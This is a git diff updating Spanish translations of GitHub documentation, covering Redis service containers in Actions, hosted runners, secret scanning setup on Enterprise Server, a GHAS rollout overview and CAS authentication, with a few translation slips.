+El flujo de trabajo asigna el puerto 6379 en el contenedor del servicio Redis al host Docker. Para obtener más información acerca de la palabra clave `ports`, consulta "[Acerca de los contenedores de servicio](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)".
 
 ```yaml{:copy}
 jobs:
-  # Label of the runner job
+  # Etiqueta del trabajo del ejecutor
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # Debes usar un entorno Linux cuando utilices contenedores de servicio o trabajos de contenedor
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
+    # Contenedores de servicio para ejecutar con `runner-job`
     services:
-      # Label used to access the service container
+      # Etiqueta usada para acceder al contenedor de servicio
       redis:
-        # Docker Hub image
+        # Imagen de Docker Hub
         image: redis
-        # Set health checks to wait until redis has started
+        # Establece revisiones de estado para esperar hasta que Redis haya comenzado
         options: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
         ports:
-          # Maps port 6379 on service container to the host
+          # Asigna el puerto 6379 en el contenedor de servicio al host
           - 6379:6379
 ```
 
-### Configuring the steps
+### Configurar los pasos
 
 {% data reusables.github-actions.service-template-steps %}
 
 ```yaml{:copy}
 steps:
-  # Downloads a copy of the code in your repository before running CI tests
+  # Descarga una copia del código en tu repositorio antes de ejecutra pruebas de CI
   - name: Check out repository code
     uses: actions/checkout@v2
 
-  # Performs a clean installation of all dependencies in the `package.json` file
-  # For more information, see https://docs.npmjs.com/cli/ci.html
+  # Realiza una instalación limpia de todas las dependencias en el archivo `package.json`
+  # Para obtener más información, consulta https://docs.npmjs.com/cli/ci.html
   - name: Install dependencies
     run: npm ci
 
   - name: Connect to Redis
-    # Runs a script that creates a Redis client, populates
-    # the client with data, and retrieves data
+    # Ejecuta un script que crea un cliente Redis, rellena
+    # el cliente con datos y recupera datos
     run: node client.js
-    # Environment variable used by the `client.js` script to create
-    # a new Redis client.
+    # Variable de entorno utilizada por el script `client.js` para crear
+    # un nuevo cliente Redis.
     env:
-      # The hostname used to communicate with the Redis service container
+      # El nombre del host utilizado para comunicarse con el contenedor del servicio Redis
       REDIS_HOST: localhost
-      # The default Redis port
+      # El puerto Redis predeterminado
       REDIS_PORT: 6379
 ```
 
@@ -271,20 +268,20 @@ steps:
 
 {% data reusables.github-actions.service-container-localhost %}
 
-## Testing the Redis service container
+## Probar el contenedor de servicio Redis
 
-You can test your workflow using the following script, which creates a Redis client and populates the client with some placeholder data. The script then prints the values stored in the Redis client to the terminal. Your script can use any language you'd like, but this example uses Node.js and the `redis` npm module. For more information, see the [npm redis module](https://www.npmjs.com/package/redis).
+Puedes probar tu flujo de trabajo usando el siguiente script, que crea un cliente Redis y rellena el cliente con algunos datos del marcador de posición. Luego, el script imprime los valores almacenados en el cliente Redis en el terminal. Tu script puede usar cualquier lenguaje que desees, pero este ejemplo usa Node.js y el módulo de npm `redis`. Para obtener más información, consulta el [Módulo Redis de npm](https://www.npmjs.com/package/redis).
 
-You can modify *client.js* to include any Redis operations needed by your workflow. In this example, the script creates the Redis client instance, adds placeholder data, then retrieves the data.
+Puedes modificar *client.js* para incluir cualquier operación de Redis que necesite tu flujo de trabajo. En este ejemplo, el script crea la instancia del cliente Redis, agrega datos de marcador de posición y luego recupera los datos.
 
 {% data reusables.github-actions.service-container-add-script %}
 
 ```javascript{:copy}
 const redis = require("redis");
 
-// Creates a new Redis client
-// If REDIS_HOST is not set, the default host is localhost
-// If REDIS_PORT is not set, the default port is 6379
+// Crea un nuevo cliente Redis
+// Si no se establece REDIS_HOST, el host predeterminado es localhost
+// Si no se establece REDIS_PORT, el puerto predeterminado es 6379
 const redisClient = redis.createClient({
   host: process.env.REDIS_HOST,
   port: process.env.REDIS_PORT  
@@ -294,15 +291,15 @@ redisClient.on("error", function(err) {
     console.log("Error " + err);
 });
 
-// Sets the key "octocat" to a value of "Mona the octocat"
+// Establece la clave "octocat" para un valor de "Mona the octocat"
 redisClient.set("octocat", "Mona the Octocat", redis.print);
-// Sets a key to "octocat", field to "species", and "value" to "Cat and Octopus"
+// Establece una clave "octocat", campo para "species" y "value" para "Cat and Octopus"
 redisClient.hset("species", "octocat", "Cat and Octopus", redis.print);
-// Sets a key to "octocat", field to "species", and "value" to "Dinosaur and Octopus"
+// Establece una clave para "octocat", campo para "species" y "value" para "Dinosaur and Octopus"
 redisClient.hset("species", "dinotocat", "Dinosaur and Octopus", redis.print);
-// Sets a key to "octocat", field to "species", and "value" to "Cat and Robot"
+// Establece una clave para "octocat", campo para "species" y "value" para "Cat and Robot"
 redisClient.hset(["species", "robotocat", "Cat and Robot"], redis.print);
-// Gets all fields in "species" key
+// Obtiene todos los campos en la clave "species"
 
 redisClient.hkeys("species", function (err, replies) {
     console.log(replies.length + " replies:");
@@ -313,11 +310,11 @@ redisClient.hkeys("species", function (err, replies) {
 });
 ```
 
-The script creates a new Redis client using the `createClient` method, which accepts a `host` and `port` parameter. The script uses the `REDIS_HOST` and `REDIS_PORT` environment variables to set the client's IP address and port. If `host` and `port` are not defined, the default host is `localhost` and the default port is 6379.
+El script crea un nuevo cliente Redis utilizando el método `createClient`, que acepta un parámetro de `host` y `port`. El script usa el `REDIS_HOST` y variables de entorno `REDIS_PORT` para establecer la dirección IP y el puerto del cliente. Si `host` y `port` no están definidos, el host predeterminado es `localhost` y el puerto predeterminado es 6379.
 
-The script uses the `set` and `hset` methods to populate the database with some keys, fields, and values. To confirm that the Redis client contains the data, the script prints the contents of the database to the console log.
+El script usa los métodos `set` y `hset` para rellenar la base de datos con algunas claves, campos y valores. Para confirmar que el cliente Redis contiene los datos, el script imprime los contenidos de la base de datos en el registro de la consola.
 
-When you run this workflow, you should see the following output in the "Connect to Redis" step confirming you created the Redis client and added data:
+Cuando ejecutas este flujo de trabajo, deberías ver el siguiente resultado en el paso "Conectar con Redis" que confirma que creaste el cliente Redis y agregaste datos:
 
 ```
 Reply: OK
diff --git a/translations/es-ES/content/actions/using-containerized-services/index.md b/translations/es-ES/content/actions/using-containerized-services/index.md
index 5fa792f1ea..191e6c6257 100644
--- a/translations/es-ES/content/actions/using-containerized-services/index.md
+++ b/translations/es-ES/content/actions/using-containerized-services/index.md
@@ -1,7 +1,7 @@
 ---
-title: Using containerized services
-shortTitle: Containerized services
-intro: 'You can use containerized services in your {% data variables.product.prodname_actions %} workflows.'
+title: Utilizar servicios de contenedor
+shortTitle: Servicios de contenedor
+intro: 'Puedes utilizar servicios de contenedor en tus flujos de trabajo de {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/es-ES/content/actions/using-github-hosted-runners/about-github-hosted-runners.md b/translations/es-ES/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
index 60e791ab95..662d33b84f 100644
--- a/translations/es-ES/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
+++ b/translations/es-ES/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
@@ -76,8 +76,8 @@ For more information, see "[Viewing workflow run history](/actions/managing-work
 
 For the overall list of included tools for each runner operating system, see the links below:
 
-* [Ubuntu 20.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu2004-README.md)
-* [Ubuntu 18.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu1804-README.md)
+* [Ubuntu 20.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu2004-Readme.md)
+* [Ubuntu 18.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu1804-Readme.md)
 * [Windows Server 2022](https://github.com/actions/virtual-environments/blob/main/images/win/Windows2022-Readme.md)
 * [Windows Server 2019](https://github.com/actions/virtual-environments/blob/main/images/win/Windows2019-Readme.md)
 * [Windows Server 2016](https://github.com/actions/virtual-environments/blob/main/images/win/Windows2016-Readme.md)
diff --git a/translations/es-ES/content/actions/using-github-hosted-runners/index.md b/translations/es-ES/content/actions/using-github-hosted-runners/index.md
index c35d53ff24..34f24c56d3 100644
--- a/translations/es-ES/content/actions/using-github-hosted-runners/index.md
+++ b/translations/es-ES/content/actions/using-github-hosted-runners/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub-hosted runners
-intro: You can use GitHub's runners to execute your GitHub Actions workflows.
+title: Utilizar los ejecutores hospedados en GitHub
+intro: Puedes utilizar los ejecutores de GitHub para ejecutar tus flujos de trabajo de las GitHub Actions.
 versions:
   fpt: '*'
   ghec: '*'
@@ -8,7 +8,7 @@ versions:
 children:
   - /about-github-hosted-runners
   - /customizing-github-hosted-runners
-shortTitle: Use GitHub-hosted runners
+shortTitle: Utilizar los ejecutores hospedados en GitHub
 ---
 
 {% data reusables.actions.enterprise-beta %}
diff --git a/translations/es-ES/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md b/translations/es-ES/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md
index 1ff1342d1f..126a752672 100644
--- a/translations/es-ES/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md
+++ b/translations/es-ES/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring secret scanning for your appliance
-shortTitle: Configuring secret scanning
-intro: 'You can enable, configure, and disable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} allows users to scan code for accidentally committed secrets.'
+title: Configurar el escaneo de secretos para tu aplicativo
+shortTitle: Configurar el escaneo de secretos
+intro: 'Puedes habilitar, configurar e inhabilitar el {% data variables.product.prodname_secret_scanning %} para {% data variables.product.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} permite a los usuarios escanear código para los secretos que se confirmaron por accidente.'
 product: '{% data reusables.gated-features.secret-scanning %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -18,56 +18,54 @@ topics:
 
 {% data reusables.secret-scanning.beta %}
 
-## About {% data variables.product.prodname_secret_scanning %}
+## Acerca de {% data variables.product.prodname_secret_scanning %}
 
-{% data reusables.secret-scanning.about-secret-scanning %} For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)."
+{% data reusables.secret-scanning.about-secret-scanning %} Para obtener más información, consulta la sección "[Acerca del {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)".
 
-## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %}
+## Verificar si tu licencia incluye a la {% data variables.product.prodname_GH_advanced_security %}
 
 {% data reusables.advanced-security.check-for-ghas-license %}
 
-## Prerequisites for {% data variables.product.prodname_secret_scanning %}
+## Prerequisitos del {% data variables.product.prodname_secret_scanning %}
 
 
-- The [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Supplemental Streaming SIMD Extensions 3) CPU flag needs to be enabled on the VM/KVM that runs {% data variables.product.product_location %}.
+- Necesitas habilitar el marcador de CPU de las [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Extenciones SIMD de Streaming Suplementario 3, por sus siglas en inglés) en el VM/KVM que ejecuta {% data variables.product.product_location %}.
 
-- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %}
+- Una licencia para {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (consulta la sección "[Acerca de la facturación para {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %}
 
-- {% data variables.product.prodname_secret_scanning_caps %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)")
+- Eñ {% data variables.product.prodname_secret_scanning_caps %} habilitado en la consola de administración (consulta la sección "[Habilitar la {% data variables.product.prodname_GH_advanced_security %} para tu empresa](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)")
 
-### Checking support for the SSSE3 flag on your vCPUs
+### Verificar la compatibilidad del marcador de las SSSE3 en tus vCPU
 
-The SSSE3 set of instructions is required because {% data variables.product.prodname_secret_scanning %} leverages hardware accelerated pattern matching to find potential credentials committed to your {% data variables.product.prodname_dotcom %} repositories. SSSE3 is enabled for most modern CPUs. You can check whether SSSE3 is enabled for the vCPUs available to your {% data variables.product.prodname_ghe_server %} instance.
+El conjunto de instrucciones de las SSSE3 se requiere porque el {% data variables.product.prodname_secret_scanning %} impulsa el patrón acelerado de hardware que empata para encontrar las credenciales potenciales que se confirmaron en tus repositorios de {% data variables.product.prodname_dotcom %}. Las SSSE3 se habilitan para la mayoría de los CPU modernos. Puedes verificar si las SSSE3 están habilitadas para los vCPU disponibles para tu instancia de {% data variables.product.prodname_ghe_server %}.
 
-1. Connect to the administrative shell for your {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)."
-2. Enter the following command:
+1. Conéctate al shell administrativo para tu instancia de {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta "[Acceder al shell administrativo (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)."
+2. Ingresa el siguiente comando:
 
    ```shell
    grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $?
    ```
 
-   If this returns the value `0`, it means that the SSSE3 flag is available and enabled. You can now enable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" below.
+   Si esto devuelve el valor `0`, esto significa que el marcador de SSSE3 se encuentra disponible y habilitado. Ahora puedes habilitar el {% data variables.product.prodname_secret_scanning %} para {% data variables.product.product_location %}. Para obtener más información, consulta la sección "[Habilitar el {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" que se encuentra más adelante.
 
-   If this doesn't return `0`, SSSE3 is not enabled on your VM/KVM. You need to refer to the documentation of the hardware/hypervisor on how to enable the flag, or make it available to guest VMs.
+   Si no se devuelve un `0`, entonces no se ha habilitado las SSSE3 en tu VM/KVM. Necesitarás referirte a la documentación del hardware/hípervisor para encontrar cómo habilitar el marcador o ponerlo disponible como VM invitadas.
 
-## Enabling {% data variables.product.prodname_secret_scanning %}
+## Habilitar las {% data variables.product.prodname_secret_scanning %}
 
 {% data reusables.enterprise_management_console.enable-disable-security-features %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.advanced-security-tab %}
-1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," click **{% data variables.product.prodname_secret_scanning_caps %}**.
-![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png)
+1. Debajo de "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %} Seguridad{% endif %}", has clic en **{% data variables.product.prodname_secret_scanning_caps %}**. ![Casilla para habilitar o inhabilitar el {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Disabling {% data variables.product.prodname_secret_scanning %}
+## Inhabilitar las {% data variables.product.prodname_secret_scanning %}
 
 {% data reusables.enterprise_management_console.enable-disable-security-features %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.advanced-security-tab %}
-1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," unselect **{% data variables.product.prodname_secret_scanning_caps %}**.
-![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png)
+1. Debajo de "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Seguridad{% endif %}", deselecciona **{% data variables.product.prodname_secret_scanning_caps %}**. ![Casilla para habilitar o inhabilitar el {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/es-ES/content/admin/advanced-security/index.md b/translations/es-ES/content/admin/advanced-security/index.md
index e5bccc0767..0fcfbf1dea 100644
--- a/translations/es-ES/content/admin/advanced-security/index.md
+++ b/translations/es-ES/content/admin/advanced-security/index.md
@@ -15,7 +15,6 @@ children:
   - /enabling-github-advanced-security-for-your-enterprise
   - /configuring-code-scanning-for-your-appliance
   - /configuring-secret-scanning-for-your-appliance
-  - /viewing-your-github-advanced-security-usage
   - /overview-of-github-advanced-security-deployment
   - /deploying-github-advanced-security-in-your-enterprise
 ---
diff --git a/translations/es-ES/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md b/translations/es-ES/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md
index a05ce5a4c5..cc911d442f 100644
--- a/translations/es-ES/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md
+++ b/translations/es-ES/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md
@@ -19,11 +19,9 @@ topics:
 One of the biggest challenges in tackling new software for an company can be the rollout and implementation process, as well as bringing about the cultural change to drive the organizational buy-in needed to make the rollout successful.
 
 To help your company better understand and prepare for this process with GHAS, this overview is aimed at:
-  - Giving you an overview of what a GHAS rollout might look like for your
-  company.
+  - Giving you an overview of what a GHAS rollout might look like for your company.
   - Helping you prepare your company for a rollout.
-  - Sharing key best practices to help increase your company’s rollout
-  success.
+  - Sharing key best practices to help increase your company’s rollout success.
 
 To understand the security features available through {% data variables.product.prodname_GH_advanced_security %}, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
 
@@ -40,7 +38,7 @@ Based on our experience helping customers with a successful deployment of {% dat
 
 For a detailed guide on implementing each of these phases, see "[Deploying {% data variables.product.prodname_GH_advanced_security %} in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)." The next section gives you a high-level summary of each of these phases.
 
-###  {% octicon "milestone" aria-label="The milestone icon" %} Phase 0: Planning & kickoff
+### {% octicon "milestone" aria-label="The milestone icon" %} Phase 0: Planning & kickoff
 
 During this phase, the overall goal is to plan and prepare for your rollout, ensuring that you have your people, processes, and technologies in place and ready for your rollout. You should also consider what success criteria will be used to measure GHAS adoption and usage across your teams.
 
@@ -69,10 +67,10 @@ As you begin planning for your rollout and implementation, begin outlining goals
 Here are some high-level examples of what your goals for rolling out GHAS might look like:
   - **Reducing the number of vulnerabilities:** This may be in general, or because your  company was recently impacted by a significant vulnerability that you believe could  have been prevented by a tool like GHAS.
   - **Identifying high-risk repositories:** Some companies may simply want to target repositories that contain the most risk, ready to begin remediating vulnerabilities and reducing risk.
-  -  **Increasing remediation rates:** This can be accomplished by driving developer adoption of findings and ensuring these vulnerabilities are remediated in a timely manner, preventing  the accumulation of security debt.  
+  -  **Increasing remediation rates:** This can be accomplished by driving developer adoption of findings and ensuring these vulnerabilities are remediated in a timely manner, preventing  the accumulation of security debt.
   - **Meeting compliance requirements:** This can be as simple as creating new compliance  requirements or something more specific. We find many healthcare companies use GHAS to prevent the exposure of PHI (Personal Health Information).
   - **Preventing secrets leakage:** This is often a goal of companies that have had (or want to  prevent) critical information leaked such as software keys, customer or financial data, etc.
-  - **Dependency management:** This is often a goal for companies that may have fallen  victim due to hacks from unpatched dependencies, or those seeking to prevent these  types of attacks by updating vulnerable dependencies.  
+  - **Dependency management:** This is often a goal for companies that may have fallen  victim due to hacks from unpatched dependencies, or those seeking to prevent these  types of attacks by updating vulnerable dependencies.
 
 ### {% octicon "checklist" aria-label="The checklist icon" %} Establish clear communication and alignment between your teams
 
@@ -100,7 +98,7 @@ Before GHAS is rolled out to your teams, there should be clear alignment on how
 
 Many companies lead their GHAS rollout efforts with their security group. Often, development teams aren’t included in the rollout process until the pilot has concluded. However, we’ve found that companies that lead their rollouts with both their security and development teams tend to have more success with their GHAS rollout.
 
-Why? GHAS takes a developer-centered approach to software security by integrating seamlessly into the developer workflow. Not having key representation from your development group early in the process increases the risk of your rollout and creates an uphill path towards organizational buy-in.
+¿Por què? GHAS takes a developer-centered approach to software security by integrating seamlessly into the developer workflow. Not having key representation from your development group early in the process increases the risk of your rollout and creates an uphill path towards organizational buy-in.
 
 When development groups are involved earlier (ideally from purchase), security and development groups can achieve alignment early in the process. This helps to remove silos  between the two groups, builds and strengthens their working relationships, and helps shift the  groups away from a common mentality of “throwing things over the wall.” All of these things help support the overall goal to help companies shift and begin  utilizing GHAS to address security concerns earlier in the development process.
 
@@ -111,10 +109,10 @@ We recommend a few key roles to have on your team to ensure that your groups are
 We highly recommend your rollout team include these roles:
 - **Executive Sponsor:** This is often the CISO, CIO, VP of Security, or VP of Engineering.
 - **Technical Security Lead:** The technical security lead provides technical support on behalf of the security team throughout the implementation process.
-- **Technical Development Lead:** The technical development lead provides technical support and will likely lead the implementation effort with the development team.  
+- **Technical Development Lead:** The technical development lead provides technical support and will likely lead the implementation effort with the development team.
 
 We also recommend your rollout team include these roles:
-- **Project Manager:** We’ve found that the earlier a project manager can be introduced into the rollout process the higher the likelihood of success.  
+- **Project Manager:** We’ve found that the earlier a project manager can be introduced into the rollout process the higher the likelihood of success.
 - **Quality Assurance Engineer:** Including a member of your company’s Quality Assurance team helps ensure process changes are taken into account for the QA team.
 
 ### {% octicon "checklist" aria-label="The checklist icon" %} Understand key GHAS facts to prevent common misconceptions
@@ -152,7 +150,7 @@ However, if your company is interested in writing custom {% data variables.produ
 
 {% endnote %}
 
-When your company is ready, our Customer Success team can help you navigate the requirements that need to be met and can help ensure your company has good use  cases for custom queries.  
+When your company is ready, our Customer Success team can help you navigate the requirements that need to be met and can help ensure your company has good use  cases for custom queries.
 
 #### Fact 5: {% data variables.product.prodname_codeql %} scans the whole code base, not just the changes made in a pull request.
 
@@ -162,7 +160,7 @@ When code scanning is run from a pull request, the scan will include the full co
 
 Now that you have a better understanding of some of the keys to a successful GHAS rollout  and implementation, here are some examples of how our customers made their rollouts successful. Even if your company is in a different place, {% data variables.product.prodname_dotcom %} can help you with building a customized path that suits the needs of your rollout.
 
-### Example rollout for a mid-sized healthcare technology company  
+### Example rollout for a mid-sized healthcare technology company
 
 A mid-sized healthcare technology company based out of San Francisco completed a successful GHAS rollout process. While they may not have  had a large number of repositories that needed to be enabled, this company’s keys to success included having a well-organized and aligned team for the rollout, with a clearly established key contact to work with {% data variables.product.prodname_dotcom %} to troubleshoot any issues during the process. This allowed them to complete their rollout within two months.
 
@@ -194,11 +192,11 @@ There are a few different paths that can be taken for your GHAS installation bas
 
 It’s important that you’re utilizing a version of {% data variables.product.prodname_ghe_server %} (GHES) that will support your company’s needs.
 
-If you’re using an earlier version of GHES (prior to 3.0) and would like to upgrade, there are some requirements that you’ll need to meet before moving forward with the upgrade. For more information, see:
-  - "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise-server@2.22/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)"
-  - "[Upgrade requirements](/enterprise-server@2.20/admin/enterprise-management/upgrade-requirements)"
+If you’re using an earlier version of GHES (prior to 3.0) and would like to upgrade, there are some requirements that you’ll need to meet before moving forward with the upgrade. Para obtener más información, consulta:
+  - "[Mejorar el {% data variables.product.prodname_ghe_server %}](/enterprise-server@2.22/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)"
+  - "[Requisitos de mejora](/enterprise-server@2.20/admin/enterprise-management/upgrade-requirements)"
 
-If you’re using a third-party CI/CD system and want to use {% data variables.product.prodname_code_scanning %}, make sure you have downloaded the {% data variables.product.prodname_codeql_cli %}. For more information, see "[About CodeQL code scanning in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)."
+If you’re using a third-party CI/CD system and want to use {% data variables.product.prodname_code_scanning %}, make sure you have downloaded the {% data variables.product.prodname_codeql_cli %}. Para obtener más información, consulta la sección "[Acerca del escaneo de código de CodeQL en tu sistema de IC](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)."
 
 If you're working with {% data variables.product.prodname_professional_services %} for your GHAS rollout, please be prepared to discuss these items at length in your kickoff meeting.
 
@@ -254,7 +252,7 @@ If you purchased a Premium Support plan, you can submit your ticket in the [Prem
 For more information the Premium support plan options, see:
   - "[Premium Support](https://github.com/premium-support)" {% ifversion ghec %}
   - "[About GitHub Premium Support for {% data variables.product.prodname_ghe_cloud %}](/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud)"{% endif %}{% ifversion ghes %}
-  - "[About GitHub Premium Support for {% data variables.product.prodname_ghe_server %}](/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server)"{% endif %}
+  - "[Acerca del Soporte Premium de GitHub para {% data variables.product.prodname_ghe_server %}](/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server)"{% endif %}
 
 ### {% data variables.product.prodname_professional_services %}
 
diff --git a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
index 51ba1f24c7..baa262c465 100644
--- a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
+++ b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
@@ -1,7 +1,7 @@
 ---
 title: Desactivar los registros no autenticados
 redirect_from:
-  - /enterprise/admin/articles/disabling-sign-ups/
+  - /enterprise/admin/articles/disabling-sign-ups
   - /enterprise/admin/user-management/disabling-unauthenticated-sign-ups
   - /enterprise/admin/authentication/disabling-unauthenticated-sign-ups
   - /admin/authentication/disabling-unauthenticated-sign-ups
diff --git a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
index 8bf26d1500..50903ddad4 100644
--- a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
+++ b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
@@ -2,10 +2,10 @@
 title: Autenticar usuarios para tu instancia de servidor de GitHub Enterprise
 intro: 'Puedes usar la autenticación integrada de {% data variables.product.prodname_ghe_server %} o elegir entre CAS, LDAP o SAML para integrar tus cuentas existentes y administrar centralmente el acceso de usuarios para {% data variables.product.product_location %}.'
 redirect_from:
-  - /enterprise/admin/categories/authentication/
-  - /enterprise/admin/guides/installation/user-authentication/
-  - /enterprise/admin/articles/inviting-users/
-  - /enterprise/admin/guides/migrations/authenticating-users-for-your-github-enterprise-instance/
+  - /enterprise/admin/categories/authentication
+  - /enterprise/admin/guides/installation/user-authentication
+  - /enterprise/admin/articles/inviting-users
+  - /enterprise/admin/guides/migrations/authenticating-users-for-your-github-enterprise-instance
   - /enterprise/admin/user-management/authenticating-users-for-your-github-enterprise-server-instance
   - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance
 versions:
diff --git a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
index d16b3ad090..f134b5545a 100644
--- a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
+++ b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
@@ -1,12 +1,12 @@
 ---
-title: Using CAS
+title: Usar CAS
 redirect_from:
-  - /enterprise/admin/articles/configuring-cas-authentication/
-  - /enterprise/admin/articles/about-cas-authentication/
+  - /enterprise/admin/articles/configuring-cas-authentication
+  - /enterprise/admin/articles/about-cas-authentication
   - /enterprise/admin/user-management/using-cas
   - /enterprise/admin/authentication/using-cas
   - /admin/authentication/using-cas
-intro: 'CAS is a single sign-on (SSO) protocol for multiple web applications. A CAS user account does not take up a {% ifversion ghes %}user license{% else %}seat{% endif %} until the user signs in.'
+intro: 'CAS es un protocolo de inicio de sesión único (SSO) para varias aplicaciones web. Una cuenta de usuario CAS no usa un {% ifversion ghes %}asiento{% else %}de licencia de usuario{% endif %} hasta que el usuario inicia sesión.'
 versions:
   ghes: '*'
 type: how_to
@@ -17,9 +17,10 @@ topics:
   - Identity
   - SSO
 ---
+
 {% data reusables.enterprise_user_management.built-in-authentication %}
 
-## Username considerations with CAS
+## Consideraciones sobre el nombre de usuario con CAS
 
 {% data reusables.enterprise_management_console.username_normalization %}
 
@@ -28,25 +29,24 @@ topics:
 {% data reusables.enterprise_user_management.two_factor_auth_header %}
 {% data reusables.enterprise_user_management.external_auth_disables_2fa %}
 
-## CAS attributes
+## Atributos de CAS
 
-The following attributes are available.
+Están disponibles los siguientes atributos.
 
-| Attribute name           | Type     | Description |
-|--------------------------|----------|-------------|
-| `username`               | Required | The {% data variables.product.prodname_ghe_server %} username. |
+| Nombre del atributo | Tipo      | Descripción                                                              |
+| ------------------- | --------- | ------------------------------------------------------------------------ |
+| `nombre de usuario` | Requerido | El nombre de usuario {% data variables.product.prodname_ghe_server %}. |
 
